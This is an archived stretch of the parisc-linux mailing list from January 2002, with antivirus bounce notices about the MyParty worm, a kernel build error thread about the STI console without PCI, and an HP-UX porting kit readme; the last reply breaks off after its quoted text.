	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 Jan 2002 02:39:38 +0100
Original-Received: (from root@localhost)
	by pop-1.nordnet.fr (8.9.3/8.9.3) id CAA13227
	Wed, 30 Jan 2002 02:39:26 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13911

             A L E R T E   V I R U S


  Notre systme de dtection automatique anti-virus 
  a dtect un virus dans un message qui vous a t
  envoy par  paolobentenuto@vidoetron.ca.

    La distribution de ce message a t stoppe.

  Veuillez vous rapprocher de l'metteur  paolobentenuto@vidoetron.ca pour
  rgler avec lui le problme.

                  ************

Votre PC est-il bien protg ? Pour une protection 
performante et autonome, www.securitoo.com/indexml.php 
est la solution contre tous les virus connus et  venir.

		  ************

Is your PC really protected ? For the best protection, 
www.securitoo.com/indexml.php is the solution that will 
protect your PC from all known viruses and viruses to be.

		  ************

	     V I R U S   A L E R T


  Our anti-virus system has detected a virus in an 
  email sent by  paolobentenuto@vidoetron.ca.

    We have stopped the delivery of this email.

  We invite you to contact  paolobentenuto@vidoetron.ca
  to solve the problem.





From - Thu Nov 08 21:21:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: root@pop-1.nordnet.fr
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ALERTE: VIRUS DETECTE DANS UN MESSAGE ENVOYE PAR parisc-linux-admin@lists.parisc-linux.org
Date: Wed, 30 Jan 2002 02:40:16 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <200201300140.CAA14158@pop-1.nordnet.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621023 2157 80.91.229.3 (22 Nov 2014 01:50:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 29 18:40:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-1.nordnet.fr (unknown [194.206.126.239])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3CDAD485C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Jan 2002 18:40:28 -0700 (MST)
Original-Received: from pop-1.nordnet.fr (pop-1.nordnet.fr [192.168.164.129])
	by smtp-1.nordnet.fr (8.9.0/8.9.0) with ESMTP id CAA23719
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 Jan 2002 02:40:26 +0100
Original-Received: (from root@localhost)
	by pop-1.nordnet.fr (8.9.3/8.9.3) id CAA14158
	Wed, 30 Jan 2002 02:40:16 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13912

             A L E R T E   V I R U S


  Notre systme de dtection automatique anti-virus 
  a dtect un virus dans un message qui vous a t
  envoy par  paolobentenuto@vidoetron.ca.

    La distribution de ce message a t stoppe.

  Veuillez vous rapprocher de l'metteur  paolobentenuto@vidoetron.ca pour
  rgler avec lui le problme.

                  ************

Votre PC est-il bien protg ? Pour une protection 
performante et autonome, www.securitoo.com/indexml.php 
est la solution contre tous les virus connus et  venir.

		  ************

Is your PC really protected ? For the best protection, 
www.securitoo.com/indexml.php is the solution that will 
protect your PC from all known viruses and viruses to be.

		  ************

	     V I R U S   A L E R T


  Our anti-virus system has detected a virus in an 
  email sent by  paolobentenuto@vidoetron.ca.

    We have stopped the delivery of this email.

  We invite you to contact  paolobentenuto@vidoetron.ca
  to solve the problem.





From - Thu Nov 08 21:21:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ANTIGEN_EXCH01 <ANTIGEN_EXCH01@orange.dk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Antigen found W32/MyParty-A (Sophos) virus
Date: Wed, 30 Jan 2002 02:39:43 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <76F2DFF76DE8414D95AF660570B0A40B01AA62@exch01.intra.orange.dk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416621024 2160 80.91.229.3 (22 Nov 2014 01:50:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:24 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 29 18:40:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from orbix.orange.dk (orbix.orange.dk [212.97.216.244])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8B078485B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Jan 2002 18:40:35 -0700 (MST)
Original-Received: from msgate-b.intra.mobilix.dk (msgate-b.intra.mobilix.dk [172.16.3.107])
	by orbix.orange.dk (8.10.2+Sun/8.10.2) with ESMTP id g0U1eXw01244
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 Jan 2002 02:40:33 +0100 (CET)
Original-Received: by msgate-b.intra.mobilix.dk with Internet Mail Service (5.5.2653.19)
	id <D4XSWAA2>; Wed, 30 Jan 2002 02:43:08 +0100
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13913

Antigen for Exchange found www.myparty.yahoo.com infected with W32/MyParty-A
(Sophos) virus.
The file is currently Removed.  The message, "[parisc-linux] new photos from
my party!", was
sent from paolobentenuto@vidoetron.ca and was discovered in Servio E.
Cabrera\Inbox\PA-RISC/LINUX
located at Mobilix AS/Denmark/EXCH01.



From - Thu Nov 08 21:21:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Odd kernel error
Date: Tue, 29 Jan 2002 20:00:21 -0900 (AKST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0201291938520.3623-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621024 2163 80.91.229.3 (22 Nov 2014 01:50:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:24 +0000 (UTC)
To: PA-RISC Linux List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 29 22:05:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta-2.gci.net (mta-2.gci.net [208.138.130.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id 97921482A
	for <parisc-linux@parisc-linux.org>; Tue, 29 Jan 2002 22:05:40 -0700 (MST)
Original-Received: from mmp-1.gci.net ([208.138.130.80]) by mta-2.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GQQJHB01.A0E for
          <parisc-linux@parisc-linux.org>; Tue, 29 Jan 2002 20:05:35 -0900 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-1.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GQQJHB00.P9G for <parisc-linux@parisc-linux.org>; Tue, 29 Jan
          2002 20:05:35 -0900 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id UAA03682
	for <parisc-linux@parisc-linux.org>; Tue, 29 Jan 2002 20:00:21 -0900
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13914

Compiling the latest from CVS (-pa16, I think) and at the final make, when
gcc is actually doing the '-o vmlinux' I'm getting:

drivers/video/video.o: In function 'L1260':
drivers/video/video.o(.init.text+0x2554): undefined reference to
'fbcon_sti'
drivers/video/video.o(.init.text+0x255c): undefined reference to
'fbcon_sti'
make: *** [vmlinux] Error 1

This happened with -pa15 also. I downloaded the pre-built -pa15 kernel and
it boots fine, though. Checking, I realized I had disabled PCI in my
config (it's a 715/100, no PCI in it), and remembered some discussion
about PCI being a 'depends-on' item for some things... Is it possible this
is a 'needs PCI' issue?

I have a new kernel compile going on now, with PCI enabled, so we'll see
what happens, but figured I'd toss it out in case someone else is seeing
this.




From - Thu Nov 08 21:21:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ANTIGEN_EXCH-3@ndsamericas.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Antigen found =*.com file
Date: Tue, 29 Jan 2002 17:44:52 -0800
Lines: 37
Approved: news@gmane.org
Message-ID: <218165EB68E7D411AC6F0003470DA6F63DDF66@EXCH-3>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C1A92F.B5BE28E0"
X-Trace: ger.gmane.org 1416621024 2164 80.91.229.3 (22 Nov 2014 01:50:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 30 00:26:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from exch-ims.us.nds.com (unknown [208.244.148.253])
	by dsl2.external.hp.com (Postfix) with ESMTP id 662A8482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 Jan 2002 00:26:35 -0700 (MST)
Original-Received: by exch-ims.us.nds.com with Internet Mail Service (5.5.2653.19)
	id <CXXV1RTH>; Tue, 29 Jan 2002 17:39:51 -0800
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13915

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C1A92F.B5BE28E0
Content-Type: text/plain

Antigen for Exchange found www.myparty.yahoo.com matching =*.com file
filter.
The file is currently Removed.  The message, "[parisc-linux] new photos from
my party!", was
sent from paolobentenuto@vidoetron.ca and was discovered in Beason,
Todd\Inbox
located at NDS/NDS-US/EXCH-3.

------_=_NextPart_001_01C1A92F.B5BE28E0
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2653.12">
<TITLE>Antigen found =*.com file</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2>Antigen for Exchange found www.myparty.yahoo.com matching =*.com file filter.</FONT>
<BR><FONT SIZE=2>The file is currently Removed.&nbsp; The message, &quot;[parisc-linux] new photos from my party!&quot;, was</FONT>
<BR><FONT SIZE=2>sent from paolobentenuto@vidoetron.ca and was discovered in Beason, Todd\Inbox</FONT>
<BR><FONT SIZE=2>located at NDS/NDS-US/EXCH-3.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C1A92F.B5BE28E0--



From - Thu Nov 08 21:21:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] semi cross compilation
Date: Wed, 30 Jan 2002 09:10:03 +0100
Lines: 148
Approved: news@gmane.org
Message-ID: <03273D4BC7F4D511AC440008C7E6F881542120@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621024 2193 80.91.229.3 (22 Nov 2014 01:50:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 30 01:10:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from relay1.alcatel.be (alc119.alcatel.be [195.207.101.119])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9F3FB482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 Jan 2002 01:10:14 -0700 (MST)
Original-Received: from nlntadn.ats.nld.alcatel.nl (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id g0U8A9m08626
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 Jan 2002 09:10:09 +0100 (MET)
Original-Received: by nlntadn.ats.nld.alcatel.nl with Internet Mail Service (5.5.2653.19)
	id <D3YHTSZC>; Wed, 30 Jan 2002 09:10:08 +0100
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13916

I wonder if the "linux-to-hpux porting kitt" cdrom might be of help
(B9891-90001).

Can be ordered *FREE OF CHARGE* at http://devresource.hp.com/LPK
<http://devresource.hp.com/LPK>   (takes a while) or downloaded...


I received the porting kit some days ago.
Here a snapshot of the readme file:
This CD-ROM contains the December 2000 release of the Open Source
Developer's Toolkit for HP-UX 11.00 and 11i on PA-RISC.  The kit
contains Open Source tools and some HP software.  The tools have been
selected as being those most likely to aid in porting and development of
software to HP-UX and to enhance the usability of HP-UX.  The additional
HP software should enhance the usability of HP-UX for Open Source tool
users.
Second CD contains three depots:
There are three tape depots on this CD-ROM.  The main depot is located
at "/bin.depot" (relative to the CD-ROM mount point, thus the path
you give to swinstall is /SD_CDROM/bin.depot), and contains the
various tools. (=35 MB large)

The second depot is /src.depot (or /SD_CDROM/src.depot) and
contains the source distributions for the Open Source tools. (=88MB large)

The third depot is /hp.depot (or /SD_CDROM/hp.depot)
and contains the HP-supplied tools. (=38MB large)
Here is an alphabetical listing of all the Open Source tools on this CD-ROM.
If
there is any special information about a specific tool, it is included
here.

Open Source Software
autoconf        2.13
automake        1.4
bash    2.04
Bison   1.28
bzip2   1.0.0
ddd     3.2.1
dejagnu 20000714
diffutils       2.7
enscript        1.6.1
expect  5.32.1
fileutils       4.0
Flex    2.5.4a
gawk    3.0.4
GCC     2.9.2000-03-01 (1) (2) (3)
gdb     4.18 (4)
GDBM   1.8.0
gettext 0.10.35
Ghostscript     5.10
glib    1.2.8
gmake   3.78.1
GNU emacs 20.7
grep    2.4.2
GTK+    1.2.8
gv      3.5.8
gzip    1.2.4a
imake   R6.3 (5)
jpeg    6b
LCLint  2.5m
less    340
libgd   1.8.3
libpng  1.0.6
libtiff 3.5.4
m4      1.4
ncurses 5.1
patch   2.5.4
Perl    5.005_03
readline        4.1
sed     3.02
tar     1.13
TCL     8.2.3
tcp_wrappers    7.6
tcsh    6.09
texinfo 4.0
textutils	2.0
Tk      8.2.3
unzip   5.40
vim     5.7
Xalan	0.40.0
Xaw3d   1.5
Xemacs  21.1.10
Xerces 1.2.0a
xpm     3.4
zip     2.3
zlib    1.1.3


This package is based on a recent GNUPro distribution from RedHat
(formerly Cygnus Solutions) and contains gcc, gas, and binutils and is
based on changes made to the version 2.9 sources that are in the process
of being merged back into the public source tree.

The GCC source package contains the sources for the entire
compiler collection (gcc, binutils, gdb) plus other tools used to build
it (flex, bison, gmake, tcl, tk, and others).  Many of the latter tools
have been superseded by more recent versions and if so, the version
included in the GCC distribution was not used to build the compiler.
Nevertheless, we have packaged the entire source code distribution as we
received it.

A number of header files changed between HP-UX 11.00 and 11i.  If you
attempt to use GCC from the previous CD-ROM, then compiles may fail on HP-UX
11i.  
We strongly recommend that if you update a system to HP-UX 11i that you
reinstall
GCC from this media.

Because they are identical, the source packages for gdb can be found
in the gcc package.  If you install the gdb source package, you will only
get a 
README file telling you to install the GCC source package instead.</LI>

The version of imake was configured to use the GCC compiler, not the
HP C compiler.  If you do not intend to use the GCC compiler, you should
not install this version of imake.

hp tools listing:
This depot contains HP headers, libraries, and object files that are
normally only shipped with HP's ANSI C compiler (and the HP-UX Developer's
Toolkit).  If you have already purchased and installed this product,
you probably do not need to install from this depot (except possibly
for the patches).

If you have not installed the HP ANSI C compiler and want to use the GNU
C compiler to either compile programs that use X11 widgets or compile
programs with the profiling option then we recommend you install the
products included in this depot.

These are also patches to the X11 filesets that were shipped with 11.00.
You should install these patches to ensure that you have the most recent
headers and libraries even if you have already installed the
X11MotifDevKit product.


The products contained in this depot are as follows:
Auxiliary-Opt
DebugPrg
X11MotifDevKit

Please note that the non-patch products contain subsets of what they
would have contained if you had purchased the HP ANSI C compiler.  These
products are intended to create a proper development environment based
around the GNU C compiler.




From - Thu Nov 08 21:21:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Odd kernel error
Date: Wed, 30 Jan 2002 07:10:53 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <20020130071053.H8395@systemhalted>
References: <Pine.LNX.4.33.0201291938520.3623-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621025 2195 80.91.229.3 (22 Nov 2014 01:50:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:25 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Tom <palinux@alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 30 05:10:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0AFDF482A
	for <parisc-linux@parisc-linux.org>; Wed, 30 Jan 2002 05:10:46 -0700 (MST)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id g0UCAro09633;
	Wed, 30 Jan 2002 07:10:53 -0500
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	Tom <palinux@alaskatech.org>, parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.33.0201291938520.3623-100000@goliath.alaskatech.org>; from palinux@alaskatech.org on Tue, Jan 29, 2002 at 08:00:21PM -0900
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13917

> Compiling the latest from CVS (-pa16, I think) and at the final make, when
> gcc is actually doing the '-o vmlinux' I'm getting:
> 
> drivers/video/video.o: In function 'L1260':
> drivers/video/video.o(.init.text+0x2554): undefined reference to
> 'fbcon_sti'
> drivers/video/video.o(.init.text+0x255c): undefined reference to
> 'fbcon_sti'
> make: *** [vmlinux] Error 1
> 
> This happened with -pa15 also. I downloaded the pre-built -pa15 kernel and
> it boots fine, though. Checking, I realized I had disabled PCI in my
> config (it's a 715/100, no PCI in it), and remembered some discussion
> about PCI being a 'depends-on' item for some things... Is it possible this
> is a 'needs PCI' issue?
> 
> I have a new kernel compile going on now, with PCI enabled, so we'll see
> what happens, but figured I'd toss it out in case someone else is seeing
> this.
> 
>

Yes, without PCI you couldn't (until recently) compile
the STI Console.

Matthew believed that some subsequent changes had possibly
fixed this error, but I haven't checked yet.

It might be that STI Console depends on FB to be compiled.
Which can break since STI can still be compiled with FB
config turned off.

And thus you see the error that you have.

c. 



From - Thu Nov 08 21:21:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Odd kernel error
Date: Wed, 30 Jan 2002 07:02:36 -0900 (AKST)
Lines: 44
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0201300659080.3623-100000@goliath.alaskatech.org>
References: <20020130071053.H8395@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621025 2201 80.91.229.3 (22 Nov 2014 01:50:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:25 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 30 09:08:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta-1.gci.net (mta-1.gci.net [208.138.130.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id CDBB1482A
	for <parisc-linux@parisc-linux.org>; Wed, 30 Jan 2002 09:08:04 -0700 (MST)
Original-Received: from mmp-1.gci.net ([208.138.130.80]) by mta-1.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GQRE5401.CDE for
          <parisc-linux@parisc-linux.org>; Wed, 30 Jan 2002 07:07:52 -0900 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-1.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GQRE5500.I0K; Wed, 30 Jan 2002 07:07:53 -0900 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id HAA04514;
	Wed, 30 Jan 2002 07:02:36 -0900
In-Reply-To: <20020130071053.H8395@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13918

> > Tom:
> > Compiling the latest from CVS (-pa16, I think) and at the final make, when
> > gcc is actually doing the '-o vmlinux' I'm getting:
> >
> > drivers/video/video.o: In function 'L1260':
> > drivers/video/video.o(.init.text+0x2554): undefined reference to
> > 'fbcon_sti'
> > drivers/video/video.o(.init.text+0x255c): undefined reference to
> > 'fbcon_sti'
> > make: *** [vmlinux] Error 1
> >
> > This happened with -pa15 also. I downloaded the pre-built -pa15 kernel and
> > it boots fine, though. Checking, I realized I had disabled PCI in my
> > config (it's a 715/100, no PCI in it), and remembered some discussion
> > about PCI being a 'depends-on' item for some things... Is it possible this
> > is a 'needs PCI' issue?
> >
> > I have a new kernel compile going on now, with PCI enabled, so we'll see
> > what happens, but figured I'd toss it out in case someone else is seeing
> > this.
>
> On Wed, 30 Jan 2002, Carlos O'Donell Jr. wrote:
